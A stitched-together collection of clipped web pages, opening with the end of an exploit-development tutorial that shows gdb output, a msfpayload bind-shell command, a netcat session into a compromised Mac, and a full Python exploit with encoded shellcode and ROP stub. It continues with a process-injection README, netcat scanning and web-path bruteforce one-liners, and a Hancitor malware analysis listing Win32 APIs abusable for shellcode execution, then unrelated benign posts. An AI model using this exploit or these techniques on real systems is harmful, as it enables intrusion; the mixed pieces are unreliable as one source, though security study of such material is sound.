eax 0x237cc9c0 595380672  
ecx 0x0 0  
edx 0x0 0  
ebx 0x41414141 1094795585  
esp 0xbffffa6c 0xbffffa6c  
ebp 0xc3082444 0xc3082444  
esi 0x890cc083 -1995652989  
edi 0xe0895890 -527869808  
eip 0x237cc9d1 0x237cc9d1  
eflags 0x246 582  
cs 0x17 23  
ss 0x1f 31  
ds 0x1f 31  
es 0x1f 31  
fs 0x0 0  
gs 0x37 55  
\(gdb\) x/6i $eip  
0x237cc9d1: int3  
0x237cc9d2: int3  
0x237cc9d3: int3  
0x237cc9d4: int3  
0x237cc9d5: int3  
0x237cc9d6: int3  
\(gdb\)

  

All we need to do now is replace our dummy shellcode with some genuine
bindshell shellcode and get our shell\!

  

root@bt:~\# msfpayload osx/x86/vforkshell\_bind\_tcp R | msfencode -b '\x00\x0a\x0d' -t c
  

root@bt:~/docs/exploit/ufo\# ./macsploit.py  
\[\*\] Listening on port 6667.  
\[\*\] Have someone connect to you.  
\[\*\] Type \[control\]-c to exit.  
\[\*\] Received connection from: \('192.168.1.124', 54370\)  
root@bt:~/docs/exploit/ufo\# nc 192.168.1.124 4444  
id  
uid=501\(dookie\) gid=20\(staff\)
groups=20\(staff\),98\(\_lpadmin\),102\(com.apple.sharepoint.group.2\),81\(\_appserveradm\),79\(\_appserverusr\),80\(admin\),101\(com.apple.sharepoint.group.1\)  
uname -a  
Darwin dookies-macbook.local 9.8.0 Darwin Kernel Version 9.8.0: Wed Jul 15
16:55:01 PDT 2009; root:xnu-1228.15.4~1/RELEASE\_I386 i386

  

Our final weaponized exploit looks like this:

  

\#\!/usr/bin/python  
  
import sys, socket, struct  
  
\# msfpayload osx/x86/vforkshell\_bind\_tcp R | msfencode -b '\x00\x0a\x0d' -t c  
  
shellcode = "\x90" \* 16  
shellcode += \("\xdb\xc3\xd9\x74\x24\xf4\xbb\xf3\xbd\x8d\x7c\x33\xc9\x5d\xb1"  
"\x27\x31\x5d\x18\x03\x5d\x18\x83\xc5\xf7\x5f\x78\x4d\x37\x06"  
"\xd3\xee\xe7\x79\x84\xbc\xb7\x1b\xe9\xc1\xb8\x59\x8f\xc1\xc6"  
"\x5d\xf9\x04\x94\x0f\xab\xe0\x18\xb2\x5a\xad\x91\x51\x36\x5d"  
"\xf2\xc3\x95\xed\x9c\x26\x99\x7c\x3b\xeb\xcc\xd2\x73\x61\x3c"  
"\x52\x01\x28\xec\x01\xb3\x86\xa0\xb8\xf6\xa7\xb3\x90\x81\x6f"  
"\x02\xc2\x12\x84\x64\xb7\x47\x0c\x34\x87\x3d\x7f\x3a\x95\x82"  
"\xfc\xc0\x59\x71\xf2\x06\x9e\x29\xa4\x38\x4e\x79\x7f\x74\xee"  
"\xe9\x10\xba\xc2\x7c\x18\x73\x5e\xb3\x9a\xf0\xa5\x4b\xef\xe1"  
"\x68\x8b\x5f\x66\xa4\x24\x13\x1e\xd2\x15\xb1\xb7\x4c\xe0\xd6"  
"\x18\xc1\xa1\x48\x29\xda\x88\xe9\x78\xdd\x42\x63\x99\x8d\x32"  
"\x20\x0e\x7e\x02\xc1\x63\xfe\x53\x0e\x2b\xaf\xd3\x43\x4c\x45"\)  
  
\#\#\#\# Exec Payload From Heap Stub \(By Dino Dai Zovi\) \#\#\#\#  
frag0 = "\x90\x58\x61\xc3"  
frag1 = "\x90\x58\x89\xe0\x83\xc0\x0c\x89\x44\x24\x08\xc3"  
  
writeable = 0x8fe66448 \# writeable memory location in /usr/lib/dyld  
setjmp = 0x8fe1cf38 \# t \_setjmp in /usr/lib/dyld  
strdup = 0x8fe210dc \# t \_strdup in /usr/lib/dyld  
jmpeax = 0x8fe01041 \# jmp eax in /usr/lib/dyld  
  
stub = frag0 + struct.pack\('<III',setjmp,writeable+32,writeable\) + \  
frag1 + 'A' \* 20 +
struct.pack\('<IIIII',setjmp,writeable+24,writeable,strdup,jmpeax\) + \  
'A' \* 4  
  
sploit = "001 :"  
sploit += "\x41" \* 524  
sploit += stub  
sploit += shellcode  
sploit += "\x0d\x0a"  
\#sploit = lead  
  
s = socket.socket\(socket.AF\_INET, socket.SOCK\_STREAM\)  
s.bind\(\('', 6667\)\)  
s.listen\(1\)  
print \("\[\*\] Listening on port 6667."\)  
print \("\[\*\] Have someone connect to you."\)  
print \("\[\*\] Type \[control\]-c to exit."\)  
conn, addr = s.accept\(\)  
print '\[\*\] Received connection from: ', addr  
  
conn.send\(sploit\)  
conn.close

  

## About the Author

Devon Kearns \(dookie2000ca\) is a mild-mannered security analyst for a
government department by day and by night is one of the maintainers of the
Exploit Database.

Comments are closed.

  

## About the Author

Devon Kearns \(dookie2000ca\) is a mild-mannered security analyst for a
government department by day and by night is one of the maintainers of the
Exploit Database.

  

# secrary/InjectProc

**Created:**| _5/28/2017 11:03:32 AM_  
---|---  
**Updated:**| _5/28/2017 11:03:32 AM_  
**Author:**| __  
**Tags:**| _windows environment dll-injection_  
  

  

###  README.md

# InjectProc

Process injection is a very popular method to hide malicious behavior of code
and are heavily used by malware authors.

There are several techniques, which are commonly used: DLL injection, process
replacement \(a.k.a process hollowing\), hook injection and APC injection.

Most of them use same Windows API functions: OpenProcess, VirtualAllocEx,
WriteProcessMemory, for detailed information about those functions, use MSDN.

## DLL injection:

  * Open target process.
  * Allocate space.
  * Write code into the remote process.
  * Execute the remote code.

## Process replacement:

  * Create target process and suspend it.
  * Unmap from memory.
  * Allocate space.
  * Write headers and sections into the remote process.
  * Resume remote thread.

## Hook injection:

  * Find/Create process.
  * Set hook

## APC injection:

  * Open process.
  * Allocate space.
  * Write code into remote threads.
  * "Execute" threads using QueueUserAPC.

## Download

Windows x64 binary \- x64 bit DEMO

## Dependencies:

vc\_redist.x64 \- Microsoft Visual C++ Redistributable

## DEMO

InjectProc DEMO - Process Injection Techniques

## Contributors

  * nullbites

# Warning

I create this project for me to better understand how process injection works
and I think it will be helpful for many beginner malware analysts too.

  

# Handling HTTP and SSL in the Shell | Redspin Security Blog
**Created:**| _9/14/2009 8:26:53 AM_  
---|---  
**Updated:**| _9/18/2009 7:25:53 PM_  
**Author:**| __  
**Tags:**| _web-app-sec commandline-kungfu pentest_  
  

# Handling HTTP and SSL in the Shell

The topic of this week’s shell1liners is handling HTTP and SSL in Bash:

[code]

    #netcat scanner for HTTP servers
    for i in $(seq 1 255); do nc -n -v -z "192.168.1.$i" 80 | grep "open"; done | tee webservers.txt
    
    # Manually perform a HTTP Get Request
    echo -ne "GET / HTTP/1.0\n\n" | nc www.redspin.com 80
    # Manually perform a HTTP Get Request on a SSL Port
    echo -ne "GET / HTTP/1.0\n\n" | socat – OPENSSL:www.website.com:443,verify=0
    # Create a local TCP pipe to a remote SSL port (to allow netcat to probe a SSL service)
    socat -vd TCP-LISTEN:8888,fork OPENSSL:www.redspin.com:443,verify=0
    
    # Always connect to a given webserver PORT regardless if it is SSL or normal HTTP
    (curl -iks -m2 "https://www.redspin.com:PORT" || curl -iks -m2 "www.redspin.com:PORT")
    
    # Perform a check on a list of webservers (HTTP or HTTPS): HOST:PORT -> HOST:PORT|WEB SERVER|HTML Title
    # Includes a 2 seconds timeout using curl's -m2, and parallelization using xargs's -P10
    cat webservers.txt | xargs -P10 -I'{}' bash -c '(curl -Liks -m2 "https://{}" || curl -Liks -m2 "{}") | grep -iao -e "^Server: .*" -e "" | sed "s#Server: \(.*\)#|\1|#i;s###ig" | tr -d "\r\n" | sed "1s/^/{}/;\$a\\" | sed "s/^\([^|]*\)|$/\1||/"' | tee webserver_info.txt
    
    # Check if Trace is enabled on a given website
    echo -ne "TRACE /something HTTP/1.0\nX-Header: Trace Enabled\n\n" | socat - OPENSSL:www.website.com:443,verify=0
    # Check for the insecure SSLv2 protocol on a website
    echo -e '' | openssl s_client -connect WEBSITE:PORT -ssl2 -no_ssl3 -no_tls1 2>/dev/null | grep 'SSLv2'
    
    # Bruteforce a given numerical webpath, printing the HTTP status code for each request
    for ((i=0;i/dev/null | grep HTTP/1.1) | tee webbf.txt ; done
    
    # Simple HTTP Listener
    python -m SimpleHTTPServer
    # Simple HTTPS (SSL) Listener without a server certificate
    sudo openssl s_server -accept 443 -nocert
    # Simple HTTPS (SSL) Listener with a bad self-signed server certificate
    echo -ne "\n\n\n\n\n\n\n" | openssl req -new -newkey rsa:1024 -days 1 -nodes 
[/code]

# Hancitor’s Exploitation of Win32 APIs to do its Malicious Bidding - Cyphort

**Created:**| _5/12/2017 1:02:20 PM_  
---|---  
**Updated:**| _5/12/2017 1:12:26 PM_  
**Author:**| __  
**Tags:**| _windows environment phishing_  
  

  

  

### Hancitor’s Exploitation of Win32 APIs to do its Malicious Bidding

May 9, 2017 by Marci Kusanovich

  

Cyphort has been seeing an ongoing spam campaign distributing the Hancitor
trojan. Hancitor is a malicious document that contains a macro which will
trigger the download of a secondary payload. The Hancitor malware has evolved
by using new APIs to perform its malicious bidding. This post will explore its
most recent SPAM campaign and deep dive into its exploitation of the Win32
APIs.

## **Hancitor Spam Campaign**

The new spam campaign takes advantage of payment or software services by
pretending to be one of them. The emails contain links that lead to a
malicious document that is the Hancitor malware. When the user clicked on
those links, it will download an office document file that is tailored to the
recipient by using a filename with the name of the recipient derived from the
email such as follows:

  * •Verizon\_\{name\}\_\{surname\}.doc
  * •USPS\_\{name\}\_\{surname\}.doc
  * •eFax\_\{name\}\_\{surname\}.doc

It pretends to be from one of the following well-known services:

  * •Verizon
  * •Delta Airlines
  * •eFax
  * •USPS
  * •RingCentral
  * •ADP

We also saw a sample email that claims to be a “**Subpoena** ”.

  * •**Verizon Spam  
<img src='img/Temp2_3621.png' width='544' height='425' />  
**

  * •**Delta Spam  
<img src='img/Temp2_3617.png' width='501' height='284' />  
**

  * •**Subpoena Spam  
<img src='img/Temp2_3616.png' width='366' height='317' />  
**

  * •****USPS Spam  
<img src='img/Temp2_3624.png' width='561' height='305' />****

  * •**RingCentral  
<img src='img/Temp2_3615.png' width='569' height='338' />  
**

  * •****eFax  
<img src='img/Temp2_3628.png' width='525' height='292' />****

Clicking on those links leads to a compromised website that will download a
doc file that is the Hancitor trojan.

<img src='img/Temp2_3610.png' width='392' height='133' />

What is interesting about these links is that they contain a base64 encoded id
of the recipient’s email.

For instance, we gathered the following links contained in the Verizon Spam
emails. The links usually contain these patterns
http://\{compromised\_domain\}/view.php?id=\{b64\}.

<img src='img/Temp2_3613.png' width='517' height='264' />

The b64 encoded string at the end of the link contains the email address of
the recipient.

<img src='img/Temp2_3627.png' width='436' height='265' />

So that when the user clicks on those emails, it will download a doc file
tailored to the name/email of the recipient.

### **Hancitor’s Exploitation of Win32 APIs**

Cyphort Labs just found the latest API entry Hancitor added to its collection,
the _CreateTimerQueueTimer_ API. The intended function of this API is to be
part of the process chain by creating a timer routine. This is used in
conjunction with the _CreateTimerQueue_  API. However, the malware author has
managed to exploit the API to execute a malicious shellcode which subsequently
performs the process hollowing. The method is done in a malformed Document
with a macro code, which invokes Windows API as shown below:

<img src='img/Temp2_3625.png' width='579' height='399' />

<img src='img/Temp2_3626.png' width='372' height='301' />

This and other APIs that the malware author managed to exploit have caught our
interest and started our research in checking what other APIs that it might
use as for us to better cope the future threats this type of malware will
bring.** **

### **Research Findings**

First we tried to understand how it managed to perform shellcode execution and
here is what we found:

  1. Declare APIs to be used later \(some are just dummy APIs which means are declared but is not used at all\)  
<img src='img/Temp2_3631.png' width='635' height='266' />

  2. Allocate Memory space  
<img src='img/Temp2_3612.png' width='1178' height='47' />

  3. Transfer shellcode to the allocated memory space  
<img src='img/Temp2_3611.png' width='743' height='49' />

  4. Execute shellcode \(using certain APIs that take a pointer to the shellcode as a parameter\)  
<img src='img/Temp2_3614.png' width='856' height='41' />

The most interesting among these steps is the fourth step where it exploits
the function of the API in executing the shellcode. These APIs were not simply
designed to be used to execute shellcode but is currently being taken
advantage of. We narrowed down all the common characteristics of the following
of APIs that are currently being misused by the Hancitor:

  * •EnumTimeFormatsW
  * •EnumResourceTypesA
  * •EnumCalendarInfoW
  * •CallWindowProcA
  * •GraySprayA
  * •CreateTimerQueueTimer

Based on the information we found in MSDN, for each API mentioned above, we’ve
managed to get the following characteristics that we believe we can use to
find other APIs which the Hancitor author might try to take advantage of in
the future:

1.\) \[Important\] a parameter with an application-defined call back function.
This parameter points to the Shellcode to be executed.

2.\) Simple parameters which can be set to any values.

3.\) Optional: Handles that can be set null or are optional. Some can be
simply initialized in another API call and then pass the handle.

Searching MSDN with the strings “call back function” and checking the
parameters of each API we found, we were able to list down the following APIs:

  * •EnumChildWindows
  * •CallWindowProcA
  * •CallWindowProcW
  * •CertEnumSystemStoreLocation
  * •CreateTimerQueueTimer
  * •EnumCalendarInfoA
  * •EnumCalendarInfoW
  * •EnumDateFormatsA
  * •EnumDateFormatsW
  * •EnumDesktopWindows
  * •EnumDesktopsA
  * •EnumDesktopsW
  * •EnumLanguageGroupLocalesA
  * •EnumLanguageGroupLocalesW
  * •EnumPropsExA
  * •EnumPropsExW
  * •EnumPwrSchemes
  * •EnumResourceTypesA
  * •EnumResourceTypesW
  * •EnumResourceTypesExA
  * •EnumResourceTypesExW
  * •EnumSystemCodePagesA
  * •EnumSystemCodePagesW
  * •EnumSystemLanguageGroupsA
  * •EnumSystemLanguageGroupsW
  * •EnumSystemLocalesA
  * •EnumSystemLocalesW
  * •EnumThreadWindows
  * •EnumTimeFormatsA
  * •EnumTimeFormatsW
  * •EnumUILanguagesA
  * •EnumUILanguagesW
  * •EnumWindowStationsA
  * •EnumWindowStationsW
  * •EnumWindows
  * •GrayStringA
  * •GrayStringW
  * •SHCreateThread
  * •SHCreateThreadWithHandle
  * •SendMessageCallbackA
  * •SendMessageCallbackW

### **Shellcode Container**

The shellcode that is encoded is stored in one of the object’s properties of
the form inside the document. Sometimes, the properties can’t be simply
expanded using the built-in Visual Basic Editor and therefore must be exported
to be viewed.

<img src='img/Temp2_3620.png' width='405' height='129' />

<img src='img/Temp2_3623.png' width='515' height='51' />

<img src='img/Temp2_3632.png' width='615' height='174' />  
\(Debugging results above\)

<img src='img/Temp2_3618.png' width='503' height='193' />

<img src='img/Temp2_3622.png' width='485' height='241' />  
Image: Exported file contents above showing the embedded shellcode contained
in the Tab6 ‘name’ properties

The malicious shellcode’s purpose is to perform process hollowing:

  * •Starts a new process \(such as explorer.exe or svchost.exe\) in suspended state,
  * •Inject the malicious binary code in the suspended process
  * •Resume said process, which basically executes the malicious binary code.

The Process Hollowing technique is widely used among cybercriminals as it
makes use of application whitelisting to avoid blocking. The use of the
shellcode also allows hancitor to perform fileless infection.

### **Final Thoughts**

The Hancitor malware author undoubtedly is crafty being able to use Windows
API beyond their intended function inside a macro code, and hide shellcode
within the properties of a form. The list Windows APIs we found are waiting to
be used for malicious purpose and clearly shows that more variants are to
come. The APIs listed in this blog post are only some of which the Hancitor
might be able to use. But at least having this information will be useful to
prepare us for what’s to come.

Analysis by **Joe dela Cruz** and **Paul Kimayong.**

Share:

Tags:Hancitormalwarephishing

* * *
Previous post

##### Read other blog posts

<img src='img/Temp2_3630.png' width='360' height='200' />

###### New Emotet likes Cookies, C2 Server Responds with Fake 404

May 2, 2017 by Joe Dela Cruz

<img src='img/Temp2_3629.png' width='360' height='200' />

###### Putting the “S” Back into SIEM

April 26, 2017 by Franklyn Jones

<img src='img/Temp2_3619.png' width='360' height='200' />

###### Karmen Ransomware-as-a-Service flawed

April 24, 2017 by Paul Kimayong

  

# \[MS-NLMP\]: NT LAN Manager \(NTLM\) Authentication Protocol Specification

**Created:**| _10/24/2010 8:17:23 PM_  
---|---  
**Updated:**| _10/24/2010 8:17:52 PM_  
**Author:**| __  
**Tags:**| _windows security crypto windows environment_  
  
<img src='img/[MS-NLMP].pdf' />

# Androguard: Android apps Visualization \!

**Created:**| _2/25/2011 9:46:29 AM_  
---|---  
**Updated:**| _2/25/2011 9:46:44 AM_  
**Author:**| __  
**Tags:**| _reversing analysis visualization android_  
  

### Android apps Visualization \!

Hi \!\!

  

In the latest commit of androguard, I added a new program to transform
dex/class/jar/apk files into an xgmml file, to visualize the control flow
graph, or functions call with cytoscape \( to handle large graph \). \(All
links to images are in an high definition\).

  

So, the first step is to create the xgmml file with your application :

[code]

    $ ./androxgmml.py -i toto.apk -o toto.xgmml  
    
    
[/code]

The option "-i" is for the input file \(APK, JAR, DEX, CLASS\), and the option
"-o" for the output xgmml file. And the option "-f" will add automatically
function calls into the graph.

  

If I try with the following example \(source code here\), I have the following
xgmml. In cytoscape, I can import the xgmml file, and choose the hierachical
layout or the spring layout. By default, the edge target arrow are not
present, but you can add a shape into VizMapper \(in cytoscape\).

  

<img src='img/Temp2_775.png' />

  

<img src='img/Temp2_776.png' />

I tried to visualize the geinimi trojan, so you can find an export of an
original application \(xgmml, png\) and an infected version \(xgmml, png\).

  

<img src='img/Temp2_774.png' /><img src='img/Temp2_771.png' />

  

In cytoscape, you can for example compare two networks \(Plugins -> Network
Modifications -> Compare Two Networks\). In this case we will see the injected
function :

  

<img src='img/Temp2_773.png' />

  

And of course you can zoom into a particular function with cytoscape :

  

<img src='img/Temp2_772.png' />

  

Bye \!

Posted by Anthony Desnos at 3:18 PM

Email This BlogThis\! Share to Twitter Share to Facebook Share to Google Buzz

Labels: Androguard, Android, CFG, Visualization, XGMML

  *[3:18 PM]: 2011-02-24T15:18:00+01:00

# Everything Old is New Again, and a Compiler Bug

**Created:**| _5/13/2017 4:48:43 PM_  
---|---  
**Updated:**| _5/13/2017 4:48:43 PM_  
**Author:**| __  
**Tags:**| _compiler-building compilers_  
  

  

# Everything Old is New Again, and a Compiler Bug

“What’s an EXCEPTION\_FLT\_STACK\_CHECK exception?” one of my coworkers said.
I said “It’s a weird and rare crash. Why do you ask?”

It turns out that one of these weird and rare crashes had started showing up
in Chrome \(M54 branch, not the stable branch that consumers are running\). We
began looking at it together until I decided it made more sense to assign the
bug to myself. Partly I did this because the crash analysis required some
specialized knowledge that I happened to have, but mostly because I was
curious and I thought that this bug was going to be interesting. I was not
disappointed.

  * The crash was in a FPU that Chrome barely uses
  * The instruction that crashed Chrome was thousands of instructions away from the one that triggered the exception
  * The instruction that triggered the exception was not at fault
  * The crash only happened because of third-party code running inside of Chrome
  * The crash was ultimately found to be caused by a code-gen bug in Visual Studio 2015

In the end the investigation of this bug went very quickly, but it required
multiple bits of obscure knowledge from my past, and therefore I thought it
might be interesting to share.

This post describes the process of investigating this bug, and I’ve saved some
crash dumps so that you can follow along in the investigation – Chrome’s
symbol server makes it easy to see what’s going on. The crash dumps are all
linked, with instructions, at the end of this post. A very similar crash dump
is what I used to understand and ‘fix’ this bug.

## Investigating

The first thing to understand is that

<img src='img/image_thumb6.png' width='442' height='75' alt='image' />

EXCEPTION\_FLT\_STACK\_CHECK has _nothing_ to do with the CPU’s regular stack.
It’s the FLT\_STACK, I mean, _obviously_. More on that shortly.

The crash was in a function called base::MessagePumpWin::GetCurrentDelay in
Chrome’s browser process. When looking at an interesting crash I always switch
to assembly language \(ctrl+F11 toggles this\) – otherwise the information is
far too vague to allow a reliable diagnosis. The crashing instruction was the
_fld_ instruction in the sequence below:

> movsd mmword ptr \[ebp-8\],xmm0  
>  **fld qword ptr \[ebp-8\]**  
>  fstp qword ptr \[esp\]  
>  call ceil \(11180840h\)  
>  fstp qword ptr \[ebp-8\]
The _fld_ instruction is part of the _x87_ FPU and it loads a floating-point
value onto the x87’s peculiar eight-register stack, so it seems initially
plausible that it could have caused a FLT\_STACK check.

> Who designs a stack with just eight entries? Intel. It must have seemed like
> a good idea at the time.
Since it’s an x87 crash we need to see the state of that FPU. The Visual
Studio _Registers_ window defaults to only showing the integer registers, so I
had to right-click and enable _Floating Point_ – it’s handy to know that in VS
this refers to the x87 FPU, not SSE or AVX. This is just one of many minor
tricks needed to investigate this bug.

> Aside: VS team, can we talk? The layout of the registers window is terrible.
> Putting all of the x87 registers on one line and letting word-wrap sort it
> out may have been good enough for Arnaud Amalric, but I find it pretty
> annoying. How about consistent indentation, and maybe an explicit line break
> after ST7? And how about not word-wrapping between ‘e’ and ‘+’ in floating-
> point numbers\! Bug filed.
Here are the relevant registers, crash stack, and the output window from a
live repro of this bug:

<img src='img/image_thumb7.png' width='576' height='377' alt='image' />

For _fld_ to trigger a stack exception the stack must be full and I _think_ I
remembered that TAGS = FFFF means that the stack is empty but I also
remembered something far more important. The x87 FPU started life as a
coprocessor. Because of this \(or maybe it was because of floating-point
latencies – doesn’t matter\) it doesn’t report exceptions synchronously. So,
in the crazy world of x87 floating-point, exceptions are reported on the
_next_ x87 instruction that executes. So the _fld_ instruction is not the
problem. The problem is the _previous_ x87 instruction executed.

These days most floating-point math is done using SSE instructions. This means
that the previous x87 instruction might be a _long_ way away. There was no
sign of it in the _GetCurrentDelay_ function. At this point this bug was
looking impossible to investigate. But…

The x87 designers weren’t totally cruel and capricious. They dedicated a
register to storing the address of the last x87 instruction that executed –
the actual problematic instruction\! The address of that instruction is
referred to in the VS registers window as _EIP_ , not to be confused with the
main processor’s EIP register. And this register, it turns out, is crucial. In
the screenshot above we can see that EIP equals 0x0FFD83FC but _EIP_ is
0x10C9F30D. They are almost 14 MB away from each other, so it’s a good thing
we didn’t try guess-and-go debugging.

To see the code at _EIP_ we just have to paste 0x10C9F30D \(the 0x prefix is
necessary\) into the address bar of the Visual Studio disassembly window. If
you have source server enabled then VS will even pull down the appropriate
source files, but the assembly language is the main thing we need. The bold
instruction in _HandleUpdateTimeout_ near the bottom is the ‘culprit’, but the
nearby assembly language also turns out to be relevant:

> ProcessPowerCollector::UpdatePowerConsumption  
>  10C9F2B7 push ebp  
>  10C9F2B8 mov ebp,esp  
>  10C9F2BA and esp,0FFFFFFF8h  
>  …  
>  10C9F2F7 call ProcessPowerCollector::RecordCpuUsageByOrigin  
>  10C9F2FC movsd xmm0,mmword ptr \[esp+10h\]  
>  10C9F302 pop edi  
>  10C9F303 pop esi  
>  10C9F304 mov esp,ebp  
>  10C9F306 pop ebp  
>  10C9F307 ret  
>  ProcessPowerCollector::HandleUpdateTimeout  
>  10C9F308 call ProcessPowerCollector::UpdatePowerConsumption  
>  10C9F30D **fstp st\(0\)**  
>  10C9F30F ret
_fstp_ pops a value off the x87’s eight register stack. It would trigger a
FLT\_STACK check if the stack was empty, so maybe the stack was empty at this
time. The next thing to know is that the Windows calling conventions for
32-bit programs say that float and double results should be returned in
_st\(0\)_. Since _UpdatePowerConsumption_ is supposed to return a _double_
this means that the floating-point stack should not be empty.

So next we look at _UpdatePowerConsumption_ and at address 10C9F2FC we see the
problem. That instruction moves the return value into xmm0, an SSE register
instead of into _st\(0\)_. Hence the mismatch.

Now, the compiler is allowed to create its own calling conventions if it wants
to – within the same binary the only rule is that everybody has to agree on
what the rules are. So, the bug is not necessarily that
_UpdatePowerConsumption_ is returning the value in the wrong register set. The
bug is that the compiler generated a caller and a callee that didn’t agree on
how they were going to talk to each other.

Further complicating this bug is that it is difficult to reproduce. I tried a
normal build, and then I tried changing from /O1 to /O2, and then I tried an
LTCG build and the compiler kept refusing to generate the inconsistent code.
Eventually a coworker \(thanks Sébastien\!\) pointed out that if I set
_full\_wpo\_on\_official=true_ then more source files would be built with
LTCG, and finally I could reproduce the bug. I reported the bug and then,
since the optimizer was misbehaving, worked around the issue by disabling
optimizations for the two relevant functions. Microsoft was able to reproduce
the bug and it sounds like they’ve made some progress in understanding it.

But there remained one mystery: this code was supposed to run every thirty
seconds, so how come this crash wasn’t hitting every user of Chrome 54? Well,
it turns out that floating-point exceptions are, by default, suppressed. When
a floating-point instruction does something bad it usually just returns a
best-effort result and continues running. I wrote about this a few years ago
and recommended that developers try enabling some of these exceptions in order
to flush out bugs that would otherwise be hidden.

So now we know why everyone isn’t crashing, but there remained one mystery:
why is anyone crashing? If floating-point exceptions are suppressed then
shouldn’t this bug have remained hidden forever?

The answer to that is that in the crazy world of Windows there are a lot of
programs that think that injecting their DLLs into all processes is a good
idea. Whether malware or anti-malware or something else these injected DLLs
end up causing a good portion of all of Chrome’s crashes. And in this case one
of these injected DLLs decided that _changing the FPU exception flags in
somebody else’s process was a good idea_. I mean, it could be worse. In this
case they exposed a genuine compiler bug, and it’s much more polite than
trashing our heap or patching our code, so, thanks?

I verified this by grabbing the FPExceptionEnabler class, modifying it to
enable just the \_EM\_INVALID exception, and then stepping over the
_\_controlfp\_s_ call that enables the exceptions, and seeing which floating
point registers changed – they’re highlighted in red. The only one was the
_CTRL_ register which went from 0x27F to 0x27E so I knew that clearing the low
bit would enable the FPU invalid exceptions. I then installed 32-bit Chrome
canary, with the bug, launched it under the Visual Studio debugger, stopped on
the _HandleUpdateTimeout_ function, used the registers window to change _CTRL_
to 0x27E, and then let it run to its crash – thousands of instructions later.
Theory confirmed.

And with that our story is complete. To recap the weirdness:

  * A FLT\_STACK is different from the regular stack
  * A FLT\_STACK exception does not occur on the problematic instruction
  * If you enable display of Floating Point registers and navigate to the instruction indicated by the floating-point EIP you can find the real culprit
  * Then you just have to find why the FLT\_STACK is messed up. Missing function prototypes used to be the usual reason, but compiler bugs seem more trendy now
  * Floating-point exceptions are normally suppressed
  * Third-party code does rude things to the processes that it visits

## Crash dumps

And, as promised, here are the crash dumps. In order to use them you should
load them into windbg or Visual Studio and add https://chromium-browser-
symsrv.commondatastorage.googleapis.com – Chrome’s symbol server – to the list
of symbol servers, so that Chrome’s PDB files are automatically downloaded, as
discussed here.

<img src='img/image_thumb8.png' width='475' height='209' alt='image' />

You should probably also enable source server, as discussed here, so that the
debuggers will automatically download the appropriate source files. In windbg
you type _.srcfix_ and in VS you click a check box, shown above.

With all of the crash dumps I recommend viewing the assembly language
\(Ctrl+F11 in Visual Studio\), opening the _Registers_ window and right-
clicking and enable the _Floating Point_ display, so you can see the floating-
point _CTRL_ ,_STAT_ , and _EIP_ registers.

And, here are the four crash dumps, all less than 136 kB.

  * 1 HandleUpdateTimeout before call.dmp – in this you’ll be on the call to ProcessPowerCollector::UpdatePowerConsumption, and in the _Registers_ window you can see that _Ctrl_ is _0x27F_ , which is good _._
  * 2 HandleUpdateTimeout after call.dmp – in this one you’ll be on the _fstp_ instruction which is about to mess things up. I’ve helpfully changed _Ctrl_ to _0x27E_ to enable the \_EM\_INVALID exceptions. Note that _STAT_ is _0x20_ and the floating-point _EIP_ register is _0x10088407_ – those will both change
  * 3 HandleUpdateTimeout exception triggered.dmp – now execution has moved to the _ret_ instruction and the exception has been triggered. The _STAT_ register value indicates \(somehow\) that an exception is pending, and _EIP_ indicates the _fstp_ instruction – the last x87 instruction executed
  * 4 GetCurrentDelay crash.dmp – this crash dump captures the actual crash, in a completely different call stack. Unfortunately the crucial floating-point _EIP_ register is zero – crash dumps saved by Visual Studio do not record it. Luckily Chrome’s _crashpad_ does save it or else this bug would have been much more difficult to resolve

While crashpad thankfully does save the x87 state \(implemented here\) Visual
Studio does not. So I filed a bug.

This bug last appeared in Chrome version 55.0.2858.0 canary. If you want to
recreate it then instructions are in the connect bug, but get ready for long
build times.

If you want more floating-point goodness then you’ll happy to know I’ve
written a whole series of articles on this subject. If you want to read more
about finding compiler bugs I’ve got just the post for you.

Reddit discussion is here.

  

# Regress Pro

**Created:**| _9/17/2011 4:11:23 PM_  
---|---  
**Updated:**| _9/17/2011 4:11:23 PM_  
**Author:**| __  
**Tags:**| _Lab-Setup_  
  

Regress Pro is scientific / industrial software that can be used to study
experimental data coming from **spectroscopic ellipsometers or
reflectometers**.

The application lets you load spectroscopic data coming from an ellipsometer
or reflectometer and analyze them using well-proven algorithms to determine
various physical parameters like film's thickness or refractive index.

Regress Pro lets you define a model of the film stack using a simple
declarative language. You can also define a fit algorithm to analyze the data
or, in alternative, perform an interactive fit of the data.

Several models are available to define the dispersion curves of the materials
and in addition some of the most common materials are provided in the library.

The application has been developed mainly looking to the application of thin
film measurement in semiconductor industry.

# a-friendly-message-from-vodka.jpg \(JPEG-Grafik, 500 × 666 Pixel\)

**Created:**| _7/23/2013 9:42:29 AM_  
---|---  
**Updated:**| _7/23/2013 9:42:29 AM_  
**Author:**| __  
**Tags:**| _LOLZ_  
  

<img src='img/Temp2_10076.jpg' alt='http://www.kaputtmutterfischwerk.de/wp-
content/uploads/2013/07/a-friendly-message-from-vodka.jpg' />

# Static analysis and regular expressions

**Created:**| _4/22/2012 1:19:00 PM_  
---|---  
**Updated:**| _4/22/2012 1:19:00 PM_  
**Author:**| __  
**Tags:**| _regex analysis static_  
  

# Static analysis and regular expressions

09.12.2010 Andrey Karpov

I develop the PVS-Studio static code analyzer intended for analyzing C/C++
software. After we implemented general analysis in PVS-Studio 4.00, we
received a lot of responses, both positive and negative. By the way, you are
welcome to download a new version of PVS-Studio where we have fixed a lot of
errors and defects thanks to users who told us about them.

While discussing PVS-Studio 4.00, the question was again raised if we could
implement most checks using regular expressions and if we actually complicate
the matter suggesting that we must necessarily build and handle a parse tree
during analysis. This question arises not for the first time, so I decided to
write an article to explain why it is a very bad idea to try to use regular
expressions for C/C++ code analysis.

Those familiar with the compilation theory certainly understand that the C++
language can be parsed only relying on grammatics and not regular expressions.
But most programmers are not familiar with this theory and they continue to
tell us about using regular expressions to search for errors in software code
over and over again.

Let me say right away that we can find some issues using regular expressions.
There are even several static analyzers that use this principle. But their
capabilities are very restricted and mostly come to messages like "There is
the "strcpy" function being used, you'd better replace it with a safer one".

Having thought it over how to tell the community about lameness of the regular
expression method, I decided to do the following simple thing. I will take the
first ten diagnostic messages of general analysis implemented in PVS-Studio
and show by the example of each of them what restrictions the regular
expression method involves.

Diagnosis 0

Once I started describing V501, I recalled that none of the analysis types
would provide me with sufficient information until \#define's remain
unexpanded. The error might hide inside the macro but it will remain an error
all the same. It is rather simple to create a preprocessed file, so assume we
already have i-files. Now we encounter the first trouble - we must determine
which code fragments refer to system files and which refer to user code. If we
